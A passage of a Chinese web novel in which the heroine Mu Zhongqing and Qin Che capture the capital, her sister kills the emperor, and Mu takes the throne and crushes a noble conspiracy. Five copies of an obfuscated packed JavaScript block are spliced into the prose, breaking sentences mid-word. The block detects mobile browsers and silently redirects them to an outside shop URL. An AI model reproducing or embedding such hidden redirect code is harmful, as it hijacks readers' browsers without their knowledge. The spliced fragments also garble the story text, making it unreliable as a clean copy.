但秦澈只回了他一句“心中有数”,而后仍然只管军中之事,其他事宜都听慕衷情的,甚至除了清州军的兵符,他将桑州与丰州的兵符都交给了慕衷情。 跟随他征战多年的将领们,几乎个个都劝过他,他们不是不敬慕衷情,但对于他们来说,一个女子,如何能越得过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699632|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军功累累的秦澈。 无论这个女子有多少才能,无论他们是否认可这个女子,哪怕开设女户和女子学堂,那掌握着最高权柄的位置,也只能是男子。 秦澈的思绪在他们一次又一次的劝诫中逐渐清明起来,他感到自己终于触摸到一丝慕衷情的世界了。 在他们看来,那些自由和权利,是上位者对下位者的施舍,不能威胁到上位者。 他们没有猜错,慕衷情所要的,正是对这权威,对权力的挑战,甚至颠覆。 秦澈甚至想,慕衷情带来的威胁,会更大,会让人吃惊,如今不过是开胃小菜罢了。 他疑惑,自己是不是应该像楚昭良他们那样,感到威胁,感到担忧,感到害怕。 可他竟然,有着隐隐的兴奋,他想见证慕衷情带来的天翻地覆,就像见证一场世所罕见的奇迹。 丰州稍稳,慕衷情便立刻让秦澈发起了第一场攻打京州的战役。 她的目的,是先让京州的守军看看,他们清州军是如何的人心所向,兵强马壮,因此这第一战,一定要狠,要快,要凶名远扬。 京州的守军不似桑州和丰州毫无战意,毕竟是天下脚下的州府,他们的忠心程度其他州可比。 可惜,他们遇到的是清州军,是这天下九州最精锐的军队,东可入海作战灭倭寇,北可支援边关战骑兵。 慕衷情在了解过清州军的战绩后,就曾感慨过,要不是队友太拉胯,也不至于让清州军这么全能。 秦澈在行军打仗一事上比慕衷情有经验得多,他告诉慕衷情,攻打京州急不得,需巩固好每座城池的势力,才好进行下一步。 慕衷情也并不着急,都来到这个世界这么多年了,不急于这一时。 第一座城池攻下之时,正是初夏好时节,绿树成荫,花草繁茂,只是入城之时,家家户户屋门紧闭,未有春夏该有的热闹与繁华。 慕衷情特地下过令,不可打扰百姓生活,京州毕竟富庶,百姓生活比起其他州来要好得多,因此,对于他们来说,清州军还只是叛军。 清州军入城第二日,开始四处分发传单。 但与桑州和丰州不同,在京州,慕衷情首先让他们宣传的,不是分地,而是伸冤。 离天子与京都更近的地方,便是离权力更近的地方。 姜喧独断专制,暴虐无道,京州的官员多是他信任之人,惯会溜须拍马,贪赃枉法。 因此京州,反而是最无天理与公道的地方。 慕衷情入城的第一天,便叫人斩了那地方官员的脑袋,悬挂于城门之上,而后命人封锁城门,不许人出城。 于是第二天,城中百姓的门缝里,便塞满了慕衷情写好的传单。 内容很简单:有冤伸冤,无论罪者权势地位,皆以律法判之。 这里的官员多与地方权贵勾结,贪污已经是他们的罪状中最轻的一条了。 于是,当百姓们看到城门上悬挂的那颗人头时,终于在午后,有人敲响了鸣冤鼓。 82. 八十二、 慕衷情在府衙中坐镇七天,判了几十桩案件之后,便开始推行在桑州和丰州实践过的政策。 不过这次,她着重让人宣传开设女户和女子学堂的事宜,因为在那七天里,她发现有一半以上的诉冤者,都是女子,年老的,年轻的,甚至是幼童,都能有理有据地说出自己的诉求。 她意识到,这里正是培养女子力量的好土壤。 于是,她让人撤掉了一半关于分地的宣传口号,换上了另一句横幅——妇女能顶半边天。 没过多久,清州送来了收获的土豆和玉米,一半送到丰州进行种植和推广,一半送到清州军手中。 在攻打京州的第二座城池时,慕衷情收到了一个消息。 慕景行,她名义上的那位大哥,在赴任的路上,死于百姓哗变。 据说他的尸体被找到时,头破血流,身上混着泥沙和暗红的血,又脏又狼狈,丝毫看不出曾经的他,也是京中清风朗月的贵公子。 慕衷情听到这个消息时,在第二座城的城楼上看到她那位兄长的尸体时,内心毫无波澜。 城楼上,一个穿着盔甲的魁梧将军朝着他们喊道:“清王妃,看好了,你兄长的尸体在我们的手里,慕府上下几百口人的性命也只在陛下的一念之间,若你此时投降,还能保住一家性命,否则——” 慕衷情都懒得听,她是被秦澈派人护送过来的,两军对峙,慕景行僵硬的尸体就吊在那里。 她眯着眼看了一会儿,而后又看了眼日头,正好在他们的身后,照耀着这座城。 慕衷情勾唇一笑,朗声道:“身死道消,不过一副躯体而已,烧了便罢,回归天地之间,倒也自由。” 说着,她给秦澈使了个眼色,她骑着马往后退去,秦澈一声令下,清州军有序地上前,开始攻城。 离京都越近,秦澈每日辗转反侧的时间便越长。 行军途中,两人同卧一榻,慕衷情明显感觉到他的焦虑。 终于,她忍不住问道:“近日打的都是胜仗,你怎么还天天睡不着啊?” 秦澈背对着慕衷情道:“越靠近皇城,我便心下不安,你虽不是真正的慕家小姐,但在世人眼中,你是,若是姜喧用你的家人威胁,而你不屑一顾,恐怕于你名声有损。” 慕衷情闻言失笑:“你这些天担心的就这?就这还值得你不安?” 秦澈有些气恼地翻身,像是摆烂一样平躺着:“我可是在担心你。” “好好好,我知道,只是即便慕据德亲自过来劝降我,我怕也会一剑杀了他。”慕衷情语气渐冷,“他压根不在乎自己的女儿,是他害死了原本的慕衷情,我要为这具身体原本的主人报仇,他和姜喧,都是导致这场悲剧的罪魁祸首。” 秦澈又翻了个身,面向慕衷情的方向:“可我怕他们说你心狠手辣,这于你日后,无益。” 慕衷情闭上眼睛,她沉默许久,不知在想些什么。 就在秦澈以为慕衷情不会再回答他之时,她又突然开口:“陆离,你有心称帝吗?” 秦澈一滞,喃喃道:“我也不知。” 慕衷情的手摸索着,握住了秦澈的手,她的声音很轻,像是在蛊惑。 “那你再想想,我们夫妻一体,若你愿意,我可以为你,为这个世界,带来更多的奇迹。” 秦澈倏然抓紧了慕衷情的手,慕衷情的心跳很快,她努力让自己显得不那么僵硬,不那么有所求。 这是她第一次明示自己的野心,她并不能确定从小被封建思想熏陶的秦澈能否接受,甚至不能确定,这样一个对他有威胁的人,哪怕他曾说过心悦自己,是不是会为了他自己的利益,而直接杀了自己。 不知过了多久,慕衷情感到自己的手心都出了汗,秦澈才缓缓松开她的手。 慕衷情听到秦澈苦笑一声道:“你不必如此,不必这般,委屈自己。” 很好,第一次美人计这么快就失败了。 慕衷情摸摸自己的脸,她也不丑啊,虽说这风吹日晒的,和那些大家闺秀是比不了,但这家伙不是跟自己表白过吗?这么难坑? “轻云,你没发现吗?虽然军中之人仍以我马首是瞻,可三州的百姓们心中,你慕王妃的名声,远胜于我。”秦澈笑道,“甚至他们不再唤你清王妃,而是唤你慕大人。” 慕衷情却反驳道:“可他们仍然不知我的姓名,也不会尊我更多,只因这世道,男尊女卑。” “可你已经在告诉他们了,妇女能顶半边天,我不知这话到底是谁说的,可世上人分男女,同处于一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707450|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片天空之下,自然是共顶一片天,我能明白的道理,他们也会明白的。” “他们不会明白。”慕衷情嘴角泛起冷笑,“做再好的人,他们也会因为我是女子,而认为我不配更高的位置,只有权力,才会真的让人心服口服。”慕衷情的声音比平常低沉许多。 秦澈忽然坐起身:“你想要的,我不会与你争。” 说完,他掀开被子下了床,不知往哪儿去了。 慕衷情睁开眼,没有阻拦秦澈。 她清楚地知道自己需要秦澈的助力,也知道自己是在利用秦澈的感情,可是,她必须这样做,从最初的只想活下去,死在自己追求的理想路途上,到现在,她想去做更多,改变更多。 慕衷情明白自己做不了救世主,但至少,她的地位越高,越惊世骇俗,才越有价值在史书上留下一笔,让后世之人记得,曾经有一个女子,带来过多么离经叛道的思想,与前所未有的新天地。 秦澈是什么时候回来的,慕衷情并不知道,只是早晨起来时,秦澈坐在床边,已经换好衣服,还替她打了水。 慕衷情狐疑地望着他,不知道他这是突然怎么了,她又望向那盆水,心道,不会这家伙想了一夜,终于下定决心铲除自己了吧? 但转念一想,秦澈要杀她,一枪就能解决,何必这么麻烦。 于是她如往常一样简单梳洗过后,看向秦澈道:“你这是想好什么了?” 秦澈目光坚定地望着前方,过来牵住她的手,语气有些僵硬,连语速都比平时快了不少。 “我想,你愿意接受我,是为了让我不与你争,推你上那至尊之位,你有你的目的,我也有我的要求,待你日后真坐上那位置,身边也只可有我一人,如此,你我皆有所求,才算是公平。” 慕衷情扑哧一笑,倒是没有想到秦澈会说出这样一番话。 她心中的信仰高于一切,秦澈永远不可能成为她心里最重要的人,秦澈自己也很清楚这一点,所以他用这样的方式,去保证自己成为慕衷情的唯一,不被爱也没有关系,至少他永远是站在她身边的唯一。 “陆离,我还是第一次发现,你竟然这么恋爱脑。”慕衷情啧啧称奇,却是没有拒绝。 秦澈疑惑道:“何为,恋爱脑?” 83. 八十三、 兵临京都那日,正是春光明媚之时。 其他五州已经割据为王,谁都想分一杯羹,谁都不敢第一个对上秦澈。 以至于秦澈一路顺风顺水地来到京都,京州的兵马偏安多年,甚至许多人都没有面对过真正的战场,这样的兵虽说不上不堪一击,但也绝不是每年作战的清州军的对手。 京都的守备算得上周密,但孤立无援,城破不过用了三日时间。 当清州军来到皇城外时,一群身着宫装的宫女太监们,为他们打开了宫门。 原本威严华贵的皇城里,充斥着烧杀抢掠的乱象。 清州军还未入皇城,里头已经乱了。 姜喧向来残暴,虐待宫人更是家常便饭,一个不顺心,便要欣赏他人的痛苦与哀嚎,自他即位以来,所遭遇的刺杀次数,怕也是要创下历代君主的新高。 不过,作为一个故事中最后才被主角斩杀,为主角铺路让位的终极反派,姜喧的确命硬。 慕衷情与秦澈骑着马进入皇城,却在宫墙之上,看到了一个红衣的女子正在起舞。 那一身,像极了嫁衣,她的身后有火光冲天,哭喊吵闹声不绝于耳,但她却像是沉浸在自己的世界之中,物资轻盈飘逸。 慕衷情定定地看了一会儿,认出了她,是这副身体的姐姐,也是这瑾朝的皇后,慕衷言。 距离太远,慕衷情看不清慕衷言脸上的表情,只莫名觉得她身上笼罩一层浓重的悲哀。 “姐姐!”慕衷情没有等她跳完,便喊了一声。 慕衷言的脸上还有喷溅的血迹,她转过身来,面对着宫墙之下的慕衷情。 “衷情!是我错了!是我错了!”慕衷情大笑着呐喊道,从小一言一行都被严苛要求的她,大概这一生也并未这样放肆地笑过。 “从前是我对不起你!我不该帮着那个畜生害你一生!我杀了他,我已经杀了他!这是我这一辈子,唯一能为你做的一件事了!衷情!不要恨姐姐好吗!” 慕衷言几近声嘶力竭,像是要喊出自己这一生的悔恨与不甘。 就在两个时辰前,慕据德来到宫中,劝诫姜喧尽快从京都撤离,他的确忠心,忠心于姜家,忠心于皇权,都到这个时候了,还想着要保住姜喧的性命。 可惜姜喧是个疯子,他不接受自己输了,更不愿意夹着尾巴逃跑。 “陛下,京都即将城破,清州军训练有素,常年作战,京都守不住了!陛下还是赶紧走吧!老臣愿用性命掩护陛下离开,留得青山在不怕没柴烧啊陛下!” 慕据德跪在地上,不住地磕头。 姜喧却反反复复地擦着自己的佩剑,剑柄上点缀着价值连城的翡翠珠宝,他的神色冷厉,眼中永远带着难掩的暴戾。 “你的家人呢?不带上一起走吗?”姜喧悠悠地反问道。 慕据德还以为他答应要撤走,立刻欣喜地答道:“比起陛下的安危,他们又有何重要,都是一群内宅妇人罢了,若是都带上,还不知有多少麻烦,老臣会带上小儿子,护卫陛下一起离开,其余人等,不过是累赘,不必带着。” 慕衷言就站在姜喧的身后,听到此话,忍不住的心惊,她知道自己只是父亲的一颗棋子,却也相信父亲对自己,对家人,总该有一丝亲情。 可是在这样的生死关头,慕据德想要带走的,只有慕景思。 明明慕衷言就站在慕据德的面前,可在他的话语中,都不曾提到她一句。 慕衷言的眼泪落了下来,她刚想开口质问,反叛一回,便听姜喧冷笑一声,一剑割破了慕据德的喉咙。 鲜血大量喷出,离慕据德最近的姜喧,身上的衣服都被他的血浸湿,身后的慕衷言也被溅到不少。 慕衷情浑身发抖,不知道是害怕,还是愤怒。 慕据德惊恐地捂住自己的喉咙,嘴里发出“嗬嗬”的声音,却已经说不出话来。 很快,他倒在地上,失去了生机。 姜喧又慢条斯理地擦起佩剑来,对身后的慕衷言道:“岳丈想让朕逃跑,皇后呢?是不是也想跑?” 他擦掉剑上的血,起身踢了一脚慕据德的尸体,确认人已经死透了之后,刚想转身,后脑突然传来一阵剧痛。 姜喧不可思议地回头,就看到慕衷言丢掉手上的花瓶碎片,拔下簪子朝他的眼睛刺来。 一声惨叫过后,慕衷言又对准他的脖子不要命似的狠狠扎下去,拔出,扎进去。 就连慕衷言都不知道,自己到底扎了多少下。 宫里已经乱了,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719930|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙着搜刮钱财,逃命,没有人注意到这座宫殿内发生着什么。 等到姜喧不再有任何挣扎,慕衷言才颓然地瘫坐到地上,她的手上,衣服上,都是暗红的血迹,看着极为可怖。 她坐了很久,脑子里乱哄哄的,一会儿是她从小长大的慕府,一会儿是嫁入东宫后的所见所闻,最后定格在那一年,她在这座深宫里见到了自己的妹妹。 她的妹妹说有权利选择她自己的人生,她的妹妹问她有没有想过自己想要什么。 慕衷言直至今日,都没办法回答慕衷情的的问题。 从小,她便是名门之后,大家闺秀,她的父亲告诉她要温婉贤淑,要知书达理,要嫁给太子去做好一个端庄得体的太子妃,要为慕家和太子效力。 如今活了将近三十年,慕衷言仍然困在慕据德为她打造的那一方牢笼之中,她还没见过更大的天地,实在不知,自己究竟想要什么。 最后她想,慕衷言的这一生,大概也就这样了。 她给自己换了一身红衣,可手上和脸上的血迹已经干了,她擦了很久都没有擦掉。 慕衷言走到宫墙之上,跳起了她最擅长的舞。 可就连这舞蹈,也是父亲要求她学的。 她不过就是慕家一颗漂亮的棋子,是姜喧身边一个取乐的玩意。 慕衷言已经什么都没有了,她当做支柱,视为目标的一切,全都已经没有了。 最后一次见到慕衷情时,慕衷言像一个从前最不允许成为的疯子一样,将自己的心声呐喊。 她也曾是推慕衷情走向绝境的刽子手,所以她要向自己的妹妹道歉。 慕衷言听到慕衷情似乎是喊她的名字,在让她往后退。 可是慕衷言哪儿有路可退呢? 她是瑾朝的皇后,想要迎来新朝,她不能活,她是慕衷情的姐姐,为了慕衷情日后的地位,她也不能活。 读了那么多书,她终究是做不到独善其身,也做不到兼济天下。 “情儿!对不起!” 风声呼啸,慕衷言闭上眼,落下泪来。 她没有往后退,而是向前纵身一跃。 慕衷言的死,代表这个王朝彻底的落幕,代表她对妹妹的道歉,也代表她终于自由。 84. 八十四、 一个月后,京都重新安定。 这段时日,来来往往请秦澈的将领和臣子络绎不绝,他却总是闭门不见,只和慕衷情待在一起,与她一同处理恢复京都繁华的各项民生事务。 那些人就差闯进来指着秦澈骂色令智昏,再骂慕衷情媚主祸上了。 不过还真是慕衷情故意拖着,她要先将京都安定下来,让民心所向,让自己的名声为每个人所知。 慕衷情要的,从来就不是那些臣子的支持,而是百姓的支持。 清州军如今还在秦澈手中,只要她能稳住秦澈,兵权之下,无人再敢置喙。 秦澈从背后搂住她,每天一问:“还不到时候吗?” 慕衷情拍拍他的手,示意他松开,影响到她处理事务了。 秦澈只好坐到她身边,默默陪着。 “快了,你可以准备起来了。”慕衷情转头看向他,不掩饰自己的试探,“但是,你真的甘心吗?” 秦澈无所谓地笑:“有什么可不甘心的?若是没有你,这天下百姓,我不会救,也救不了。” 慕衷情拿出一份名单来,递给秦澈:“这是朝中官员的名单,我已经分了类,罪大恶极的直接处死,罪不至死的贬为庶民,没收家产,优秀的提拔,能力不足的贬谪历练,京中还有门阀权贵,如果按我的意思来,他们也不该有什么特殊的待遇和权力。” 秦澈扫了一眼:“那就都杀了便是。” “……”慕衷情有点好笑地说,“虽然打打杀杀确实有用,但这么多有权有势的家族,你也不可能一日屠尽,那些田地已经被我们夺了过来,但他们家大业大,还有许多铺子,还能喘口气,若是真要都杀了,他们必会极力反扑,引起不必要的伤亡。” “那你准备怎么做?”秦澈听她这么说,就知道她肯定已经想好对策。 慕衷情眼珠一转:“义务教育体系搬不过来,那我改个科举制总可以吧?” “嗯?”秦澈饶有兴致地听着,慕衷情却没有深入讲下去。 她起身,理了理裙摆:“晾着他们够久了,我得给他们一个终身难忘的惊喜呀。” 秦澈挑眉,跟着她站起来,走出了这座宫殿。 久违的阳光照在身上,依然是暖洋洋的。 慕衷情仍旧穿着并不奢华的衣裙,发髻盘得规整,发饰却不多,几支白玉和碧玉簪子错落有致,倒也素雅。 她派人将那些朝中官员都叫到了瑾瑜殿,就像平时上朝一样。 慕衷情大步走在秦澈身前,手上拿着那份官员处理的名单。 她没有举行任何高调奢靡的仪式,甚至连一身衣裳都没有定制,就这么在众目睽睽之下,径直走到了最高处,在那把龙椅上坐下。 而秦澈,则背着手站在了一旁。 底下顿时窃窃私语起来,神色都惊疑不定。 这椅子太大,慕衷情坐得不舒服,干脆盘了个腿,然后把名单递给秦澈,示意他去念。 秦澈一边念,一边有守卫将那些被宣读罪名或被贬谪的大臣拖了下去。 等到全部结束,殿中的人只剩下了三分之一。 剩下的这些人中,大多官位不高,但能力不错,心性坚定,若非不肯逢迎媚上,也不该是如今的位置。 她给这些人都重新安排了职位,然后让人将这份名单贴在京中的告示栏上,昭告天下。 可朝中官员少了一大半,许多事务如何办理? 慕衷情也没有让他们失望,没过几天就开始削减职责较为重复的官职数量,优化各部门名称和职责范围,简化流程,同时,她发出公告,取消世袭制。 也就是说,往后无论是官职,还是公卿侯爵之位,全都不可子承父业,一切只凭能力高低。 而朝廷收录人才的方式,慕衷情学习了绵延了上千年的科举制度的优势,只是从中做了些许改动,比如,她改了试卷题目的格式,以原本世界最常见的选择、填空为主,还加了申论。 她定的优秀标准,就是申论所写内容,实操性要强,不可只高谈阔论,也不可只以文采定论。 毕竟还是一个封建社会,慕衷情知道自己不能做太多超越社会制度的改变,因此基本在六部九卿制的基础上做改动,更多的是去打开阶级流动变化的途径,尽可能地减少权势的垄断。 一开始,一切都进行得很顺利,但半年之后,秦澈带兵离开京都,去攻打其他五州。 慕衷情一个女子,看似已然孤立无援。 那些原先便不服气的门阀家族便联合起来密谋,想要刺杀慕衷情,推翻这场在他们看来不尊祖宗之法的讽刺统治。 那是一个晴朗的下午,京都的天气更让慕衷情适应,她有空时便像往常那样在院子里晒太阳。 她忙了大半年,总算让京中机构能够正常运转起来,人手不够的问题,也即将在三月之后的第一次科举考试后解决。 为此,她可是给现今留着的官员们,画了不少大饼。 听到宫女急报之时,慕衷情还在院子里痛苦地回忆赤脚医生手册,这可比她回忆农业相关知识要难多了,但是一路走来,她看到太多百姓受贫苦病痛之殇,实在不忍心放任不管。 “不好了陛下,京中苏谢艾袁四家联合起来,召集了人马,说要让您退位呢!” 慕衷情听到宫女的话,淡定地划掉刚刚写错的一个字,问:“他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724432|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到哪儿了?” “已经突破宫门了,正在往您这儿这来。” 慕衷情放下笔,拍拍手,叫人把桌子抬进去,别让这些纸张被弄脏弄乱。 “那我们去迎接一下他们吧。”慕衷情淡定地挥手,让宫女跟在她身后。 宫女担心地问:“陛下,就我们几个,恐怕保护不了您啊!” “没事,就那些乌合之众,翻不起什么浪。”慕衷情拍拍小宫女的脑袋,安慰道。 她身后就跟着两个太监,三个宫女,一行人连一个护卫都不带,就这么跟着慕衷情走到了瑾瑜殿。 她在瑾瑜殿等了一会儿,那以四大世家为首的一队人马绕了一圈,终于找到了她。 慕衷情施施然地半躺在龙椅上,一派慵懒的模样。 看到那么多人进来,身旁的宫女和太监都吓得两腿打颤,但没有人逃跑,或投降。 慕衷情观察到他们的反应,低头一笑,毕竟也是这大半年都跟着她的人,大抵也不愿再回到从前那种任人打骂侮辱,朝不保夕的日子了。 她虽然还没有办法给这个世界一记社会主义铁拳,但对待身边的人,哪怕他们还是奴仆的身份,慕衷情也不会苛待他们。 经历过这段时日的平和安宁,慕衷情也有信心,他们不会轻易背叛。 “妖女,你竟还敢端坐在皇位之上,今日,我们便要杀了你,以正视听!以遵天道!”为首的一个年轻男子气愤地大声道。 慕衷情无聊地玩着衣摆,回想了一遍小时候看过的一部电视剧里把人杀得只剩剧名的大反派,尝试做出大反派的表情,保持了一会儿就感觉脸抽抽,不得不放弃。 听到男子的话,慕衷情笑道:“妖女?你怎知我是妖女?许多百姓可是唤我神女呢。” “你蛊惑秦澈造反,无数人因此丧命,所行之政残忍无度,这世上还没有你这般女子称王的道理!” 慕衷情闻言,瞬间坐直身体,挑衅道:“这个位子我就坐了,你能怎么样?杀了我?别痴心妄想了!” 另一个男子拦住想要骂人的年轻男人,皱着眉道:“别与她多费口舌,如今秦澈不在京都,此处只有她一人,赶紧趁现在杀了她。” 两个人对视一眼,抬手让身后的人都进来。 慕衷情看了一眼,都是守卫京都守卫皇城的爱民军,自她将瑾朝改名后盛朝后,她便将全部的军队整合,改名为爱民军,就像改造清州军、桑州军和丰州军那样,改造他们的思想。 他们将长枪握在手中,守在大殿两侧。 那年轻男子目露得意之色:“今日,便是你这妖女的死期!这天下之主,九五之尊,你一个女子,担不起!” 85. 八十五、 “都给我杀!” 年轻男子一声令下,他的声音回荡在空旷的大殿之中,周围却没有一个人动手。 几个男人这才发现不对,面面相觑又纷纷扫视四周的人。 慕衷情悠悠道:“都听到了吧,那就杀吧。” 军队的将领她早就换过,还是破格提拔,那几日她天天往瑾御军平时休息和训练的场地跑,综合了多方信息,才选出一个武艺高强,又正直善良的新将领。 四大家族前脚联系对方,慕衷情后脚就收到了他们谈话的内容,后来的计划更是事无巨细地汇报给了慕衷情。 而且,虽然慕衷情很信任他们,但她也留了后手,这大殿里也藏着不少人。 她一声令下之后,所有人都冲了出来,将年轻男子与他的同伙团团围住。 他们这才慌了,但慕衷情没打算放过他们:“放心吧,我这就送你们去见自己的家人。” 她刚说完,那几人才抵抗了几下,就被训练有素的士兵们扎成了刺猬。 慕衷情看着那些尸体,有些反胃,她起身离开道:“都拉去埋了吧,和他们的家人一起,那些重获自由身的奴仆们,就放他们回乡吧。” 三个月后,慕衷情终于在蒋羽的帮助下,完成了一本《京州赤脚医生手册》的撰写,她没有超强的记忆力,记不下全部的内容,便只能让蒋羽帮忙,以他的所见所闻,编写一些常见病症的治疗方法。 她还召集了许多京州大夫和药铺老板,咨询他们最常见到的病症是哪些。 之后,京州印发了上万本《京州赤脚医生手册》,所有人均可免费领取阅读并学习,去解决生活中一些常见的疾病和问题。 冬日,蒋羽离开了京都。 天下仍有九州,却不再封王。 慕衷情给了她一个新任务,去各州调研当地常见的疾病,让每一州的百姓,都能拥有最适合他们的《赤脚医生手册》。 他走的那天,慕衷情与司岳一同送他。 望着蒋羽策马离开的背影,司岳的神情染上几分不舍。 慕衷情搂住司岳的肩,认真道:“如果你想,你也可以和他一起去,这毕竟也是一件造福苍生的事。” 司岳却立刻摇头:“我现在做的事,也很重要。” 她如今已是掌管京州女户各项事宜的官员,立志要为更多有能力的女性提供更广阔的天地。 “从前我依附家人,后来我依附王爷,如今,司岳不想依附什么了,只想按照自己的心意,去选择该走的路。” 她们在风雪中相视一笑,如那一枝在凛冽寒风中生长得最艳丽的梅花。 * 一晃三年过去,慕衷情站在城门口迎接秦澈回来。 秦澈用了三年将其他五州尽数攻下,纳入盛朝的天下,慕衷情也在这三年,成功将政委体系融入了目前军队的体系之中,还完善了民兵的招募、训练和管理体系,目前她手中掌握的军队,不仅军纪严明,还对她忠心耿耿。 秦澈骑着马来到京都城门时,一眼便瞧见了人群中被簇拥着的慕衷情。 他们三年未见,秦澈眼中是止不住的激动和思念。 他在她身前跪下行礼,又仰头望着她的脸。 慕衷情倒是没有避讳地伸手拉他起来,这三年她与秦澈一直书信往来。 许是不是当面的缘故,秦澈在书信所表达的思念与爱意,比平时要张扬直白得多。 虽然每次那些情话都是藏在军报之中,却也真的让慕衷情感受到了被挂念的感觉。 每次看到这些单独写给她的信时,慕衷情都会忍不住想,自己这么多年没有谈恋爱,不会是因为她其实适合的是网恋吧? 但在此时此刻,与秦澈重新相见,慕衷情忽然觉得身边有一个他,也挺不错。 诚然,她始终更在意自己一直在努力的目标,秦澈永远也无法成为在她心里第一位的人。 可那又有什么关系呢?喜欢就好好喜欢,不够爱就不够爱吧,不是所有人都能做到毫无保留地爱着另一个人的。 于是,她就这牵着秦澈的手,走入京都,两旁的百姓们脸上洋溢着笑容,这几年,农户有地耕,商户地位提升,秦楼楚馆被取缔,开设女户的女子越来越多,各地的巾帼学堂更是多次扩建,门阀世家不仅被打压,许多产业还被慕衷情没收为国有,百姓的生活更加富足,贫穷人家的孩子,无论男女,都有了科举入仕的机会。 而慕衷情,又遭遇了四次谋反,十几次刺杀,幸而每次都化险为夷,安然无恙。 她生活朴素,从不铺张浪费,反倒让那些原本还因她女子身份而有所轻视的男性朝臣们都自愧不如,越发尽忠职守。 这天下,是真的安定了。 回到宫中后,秦澈拉着慕衷情说了许多这些年的见闻。 他说他还是第一次发现原来征粮那么简单,他们没有像从前那样疾言厉色,收到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728578|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的粮反而比从前更多。 他说他从未在百姓脸上见过那样信任,全然不见恐惧,甚至还带着期盼的神情。 他说他没忘记慕衷情教给他的所有东西,每攻下一座城池,都不会伤害城中百姓,甚至还会救济一些穷苦人,到后来,他真正看到了“箪食壶浆,以迎王师”的景象。 他说这最后一年,他们的仗都没打几场,起义投诚的将领数不胜数,甚至有百姓行刺当地官员与将领,开城门迎接他们。 最后他说:“衷情,这三年我越来越明白,为何你总不愿真正接受我,今日你肯牵住我的手,我很高兴,让你坐上这个位置,不仅是因为我心悦于你,更重要的是,你比我适合坐在这个位置上,其实我早已心甘情愿臣服于你。” 说这些时,他身上还穿着盔甲,单膝跪在地上,将自己的脸贴在慕衷情的手心里。 慕衷情听完他的话,却忽然说起了似乎毫不相干的话。 “彩珠回到慕家了,她现在能识文断字,还会算账,慕家剩下的人搬到了一处小宅子,原本的府邸已经交还给国家,对她来说,她在意的始终只有她的小姐。”慕衷情笑了一声,“在这个世上,最初愿意听我说话,信任我能力的人,其实是你啊。” 权力,武力,秦澈都有,只要他想,慕衷情早就可能死了几百遍。 “所以,你还是有点不一样的。”慕衷情笑得释怀,声音却像是诱哄,“只要你不背叛我,我也不会离开你。” “我会是你手中最锋利的刀。”秦澈抬头望着慕衷情,清醒又坚定地说,“就算是交易,我们也都会得到自己想要的,不是吗?” 慕衷情俯身,在他的额头落下一个吻,像是给什么契约又加了一层束缚。 其实秦澈明白,如果有机会回去,那么无论在这里待了多久,慕衷情都会选择回到自己的世界,回到自己的家乡。 他也可以选择自己独掌大权,将慕衷情关起来,让她独属于自己。 可那样的话,他大概率只会收获一具尸体。 他爱的,就是慕衷情昂扬坚韧的生命力,是她满身泥泞时仍然阳光的笑容,是她践行“为天地立心,为生民立命,为往圣继绝学,为万世开太平”时坚定与无私的心志。 秦澈想,不止是爱,他会是她的战友,也终究会成为她的同志。 这或许要很久,但没关系,他相信慕衷情也会用一生去完成他们的交易,来实现他们的承诺。